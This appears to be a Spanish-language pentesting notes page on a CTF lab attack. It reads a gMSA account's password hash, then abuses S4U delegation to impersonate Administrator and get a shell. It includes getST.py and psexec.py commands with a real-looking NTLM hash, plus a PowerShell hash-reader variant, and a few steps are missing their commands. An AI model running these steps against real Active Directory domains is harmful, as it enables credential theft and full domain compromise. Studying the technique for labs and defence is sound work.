GMSA abusing and s4u delegation attack [ReadGMSAPassword] + [AllowedToDelegate]¶
Descripción del ataque¶
Este ataque aprovecha dos permisos clave para comprometer un entorno de Active Directory mediante una cuenta de servicio administrada de grupo (gMSA):
-
ReadGMSAPassword: Este permiso permite leer la contraseña Kerberos asociada a la cuenta gMSA. Utilizando herramientas como
gMSADumper.py, se extrae el hash NTLM de la cuenta de servicio, lo que proporciona acceso inicial para realizar operaciones en su contexto. -
AllowedToDelegate: Este permiso habilita la delegación de credenciales, lo que permite a la cuenta gMSA actuar en nombre de otros usuarios. Combinando los ataques S4U2Self y S4U2Proxy, es posible generar un Ticket de Servicio (ST) para un SPN arbitrario (por ejemplo,
cifs/dc.intelligence.htb) e impersonar a un usuario privilegiado comoAdministrator.
El resultado final es el acceso a recursos protegidos o sistemas críticos, explotando la configuración indebida de permisos en la cuenta gMSA.
Objetivo y ejemplo de uso en un CTF¶
- El objetivo es obtener un Ticket de Servicio (ST) para un SPN arbitrario (como
cifs/dc.intelligence.htb) impersonando a un usuario privilegiado, aprovechando que la cuentasvc_int$tiene permiso para delegar.

Herramientas utilizadas¶
Pasos del ataque¶
-
Ejecutar
Resultado:gMSADumper.pypara extraer el hash NTLM de la cuentasvc_int$: -
Utilizar
getTGT.pypara obtener un TGT usando el hash NTLM desvc_int$: -
Impersonar al usuario
AdministratorcongetST.py:Resultado:getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$ -hashes :b05dfb2636385604c6d36b0ca61e35cb[*] Requesting S4U2Proxy [*] Saving ticket in Administrator@[email protected] -
Exportar el nuevo ticket:
export KRB5CCNAME=Administrator@[email protected] -
Conectarse al sistema objetivo con
psexec.py:psexec.py -k -no-pass INTELLIGENCE.HTB/[email protected]Ejemplo de salida:
Versión en powershell¶
- Script
. .\Invoke-GMSAPasswordReader.ps1- Invoke-GMSAPasswordReader -Command "--AccountName USERNAME"
Calculating hashes for Old Value
[*] Input username : svc_apache$
[*] Input domain : HEIST.OFFSEC
[*] Salt : HEIST.OFFSECsvc_apache$
[*] rc4_hmac : <OLD_RC4_HASH>
[*] aes128_cts_hmac_sha1 : <OLD_AES128_HASH>
[*] aes256_cts_hmac_sha1 : <OLD_AES256_HASH>
[*] des_cbc_md5 : <OLD_DES_HASH>
Calculating hashes for Current Value
[*] Input username : svc_apache$
[*] Input domain : HEIST.OFFSEC
[*] Salt : HEIST.OFFSECsvc_apache$
[*] rc4_hmac : <CURRENT_RC4_HASH>
[*] aes128_cts_hmac_sha1 : <CURRENT_AES128_HASH>
[*] aes256_cts_hmac_sha1 : <CURRENT_AES256_HASH>
[*] des_cbc_md5 : <CURRENT_DES_HASH>
<CURRENT_RC4_HASH> el NT hash de la cuenta
Referencias¶
ReadGMSAPassword¶
- Retrieving Cleartext gMSA Passwords from Active Directory
- DSInternals PowerShell Module
- PSgMSAPwd
- Active Directory Security - gMSA
- Active Directory Security - Delegation Abuse
- Event ID 4662
- The Hacker Recipes - ReadGMSAPassword